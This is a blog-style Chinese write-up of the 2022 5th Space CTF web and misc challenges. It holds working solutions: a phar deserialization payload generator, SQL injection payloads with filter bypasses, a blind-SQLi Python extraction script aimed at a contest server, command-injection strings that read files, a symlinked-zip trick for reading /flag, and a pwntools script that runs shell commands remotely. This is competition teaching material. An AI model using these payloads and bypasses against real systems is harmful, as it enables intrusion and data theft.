当前位置: 首页 > news >正文

2022第五空间WEBMISC

文章目录

  • WEB
    • 5_web_BaliYun
    • 5_easylogin
    • 5_web_Eeeeasy_SQL
    • 5_web_letmeguess_1
  • MISC
    • 5_简单的Base
    • sakana_reveage
    • 5_Misc_m@sTeR_0f

WEB

5_web_BaliYun

扫描目录存在www.zip,下载后解压得到源码。
限制了上传文件的后缀

image-20220919155614953

同时类中存在文件读取函数,很容易联想到phar反序列化。

首先生成phar

<?php
class upload{
     public $filename="/flag";
}
$p = new upload();
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($p);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将生成的文件后缀改为test.png,上传后利用file_exists触发

image-20220919155750284

img_name=phar:///var/www/html/upoload/test.png

5_easylogin

只有用户名为admin时会显示密码错误,不过尝试闭合一直没成功,怀疑是被转义了,试了下宽字节注入,可以成功显示报错。

image-20220919160107455

先来尝试登录成功,or和and都被过滤了,这里可以用^

正常情况下^0即可登录成功,但是依然显示密码错误。

那么有可能是先查询出密码在和我们输入的密码进行md5比较,所以通过union构造一个password就可以了。

这里面union和select都被替换成空了,不过可以双写绕过。

payload

password=1&username=admin%df%27ununionion%09seselectlect%091,1,0x6334636134323338613062393233383230646363353039613666373538343962#

5_web_Eeeeasy_SQL

一道sql注入题,过滤了单双引号,所以想到的闭合方式就只剩反斜杠转义了。

先尝试利用or 1登录

image-20220919152734674

经过测试万能密码也会显示用户名密码错误,得找个其他的回显,当sql语句报错时,页面会不显示任何内容。

if被过滤了可以使用case when语句绕过

substr mid被过滤了可以用isstr绕过

空格被过滤了可以用%09代替

最后就是怎么让他既能报错也能显示密码错误。

这里方法还是挺多的,比如pow(1000000,10000),cot(0),exp(100000)

注入脚本如下

import requests
import string
s=string.printable
print(s)
url = "http://39.107.78.119:25912/api/api.php?command=login"
x=''
for i in range(1,30):
    print(i)
    for j in range(32,127):
        t = ''.join(hex(ord(c))[2:] for c in (x+chr(j)))
        data={'username':'\\',
        #'password':f'or(case(instr(binary(username),0x{t}))when(1)then(cot(0))else(1)end)#'}
        'password':f'or(case(instr(binary(password),0x{t}))when(1)then(cot(0))else(1)end)#'}
        
        r=requests.post(url,data=data,allow_redirects=False)
        if "success" not in r.text:
            print(t)
            x+=chr(j)
            break
#Flag_Account
#G1ve_Y0u_@_K3y_70_937_f14g!!!

得到用户名Flag_Account,密码G1ve_Y0u_@_K3y_70_937_f14g!!!

登录之后访问/api/flag.php

得到源码如下

image-20220919153152963

尝试读取/flag,但是/flag被过滤了,不过过滤语法是用的^也就是不能使用/flag开头,使用//flag即可绕过

payload:file=//flag

5_web_letmeguess_1

题目提示弱密码,那直接弱密码爆破了

image-20220919152503156

爆破出密码为admin123

登录之后,后面是个命令执行

过滤了分号用%0a代替,过滤了空格用%09代替

首先ls看到当前目录下有个kylin

image-20220919152103862

但是不知道这是个文件夹还是文件,直接打开没有内容,猜测是文件夹。

image-20220919152225507

过滤了/那就先cd进去再打开

image-20220919152302705

Payload:ip=%0acd%09k*%0atac%09*

MISC

5_简单的Base

直接16进制解码就可以了

sakana_reveage

下载附件后源码分析

可以上传普通文件或者zip文件,但是普通文件需要sakana开头。

后面还有解压以及下载文件的功能

很容易联想到ctf中常考的软链接,但是有过滤

image-20220919174949381

不过代码上有个逻辑错误

image-20220919175012219

当base64内容有问题时没有直接退出,而是进入进入到了subprocess.run中,执行了unzip命令。

假设我们输入错误的base64会出现如下错误

image-20220919175138106

会去找/tmp/sakanas.zip.zip或者/tmp/sakanas.zip.Zip。

而在1选项中,我们可以上传文件,并且存在目录穿越,这样就可以创建一个/tmp/sakanas.zip.zip文件。

unzip还有个问题,当压缩包中文件头前面有其他内容时,会继续解压。

1、本地生成带软链接的zip压缩包

echo 123 > /flag
ln -s /flag f
zip --symlinks flag.zip f

2、放入010editor中加入sakana

3、将文件base64编码后上传

image-20220919175602309

4、通过base64报错让程序解压上传的文件

image-20220919175658185

5、下载flag

image-20220919175724510

5_Misc_m@sTeR_0f

payload

from pwn import *
p = remote('123.56.174.142', 5702)
payload = "-interactive"
p.sendlineafter(' command --->>', payload)
p.sendline('.shell cat /flag.txt;')
p.sendline('.quit')
p.interactive()

利用-interactive强制进行交互IOimage-20220919181010931

.shell来执行系统命令,.quit退出

image-20220919181826436

相关文章:

  • 说几句得罪人的大实话
  • Spark 优化 (二) --------- Spark 数据倾斜
  • 第01篇:系统化学习, 搞定Spring容器管理
  • 【Android】-- Intent(显式和隐式Intent)
  • 【HashMap】HashMap的6种遍历方法
  • 网络中其他重要技术与协议(DNS系统,ICMP协议,NAT技术与代理服务器)
  • [仅需1步]企业微信群机器人[0基础接入][java]
  • 关于 vue keep-live 缓存时候,缓存页面高度不生效问题 :
  • 对比勒索病毒和熊猫烧香,谈如何保证服务器端数据安全?
  • 【网络】HTTP协议详解
  • vue3.0 如何自定义指令
  • 浅析RocketMQ-消息重建
  • Kickstarter众筹需要准备哪些资料?
  • 数据分享|函数型数据分析部分省市新冠疫情数据
  • 莱佛士学生服装设计作品登知名时尚杂志NÜYOU
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • leetcode388. Longest Absolute File Path
  • leetcode46 Permutation 排列组合
  • Mysql5.6主从复制
  • PV统计优化设计
  • text-decoration与color属性
  • 给新手的新浪微博 SDK 集成教程【一】
  • 基于游标的分页接口实现
  • 精益 React 学习指南 (Lean React)- 1.5 React 与 DOM
  • 聚类分析——Kmeans
  • 设计模式(12)迭代器模式(讲解+应用)
  • 写代码的正确姿势
  • # Swust 12th acm 邀请赛# [ E ] 01 String [题解]
  • (003)SlickEdit Unity的补全
  • (1)安装hadoop之虚拟机准备(配置IP与主机名)
  • (6)设计一个TimeMap
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (九)One-Wire总线-DS18B20
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (十七)Flask之大型项目目录结构示例【二扣蓝图】
  • (学习日记)2024.04.04:UCOSIII第三十二节:计数信号量实验
  • (一)eclipse Dynamic web project 工程目录以及文件路径问题
  • (转)一些感悟
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • .\OBJ\test1.axf: Error: L6230W: Ignoring --entry command. Cannot find argumen 'Reset_Handler'
  • .NET CF命令行调试器MDbg入门(三) 进程控制
  • .NET Core WebAPI中封装Swagger配置
  • .NET Core/Framework 创建委托以大幅度提高反射调用的性能
  • .NET DevOps 接入指南 | 1. GitLab 安装
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .NET Framework杂记
  • .Net IE10 _doPostBack 未定义
  • .net 托管代码与非托管代码
  • .NET 中 GetProcess 相关方法的性能
  • .net反编译工具
  • .Net高阶异常处理第二篇~~ dump进阶之MiniDumpWriter
  • .NET开发人员必知的八个网站
  • .net开源工作流引擎ccflow表单数据返回值Pop分组模式和表格模式对比
  • @Transactional 竟也能解决分布式事务?
  • [ C++ ] STL priority_queue(优先级队列)使用及其底层模拟实现,容器适配器,deque(双端队列)原理了解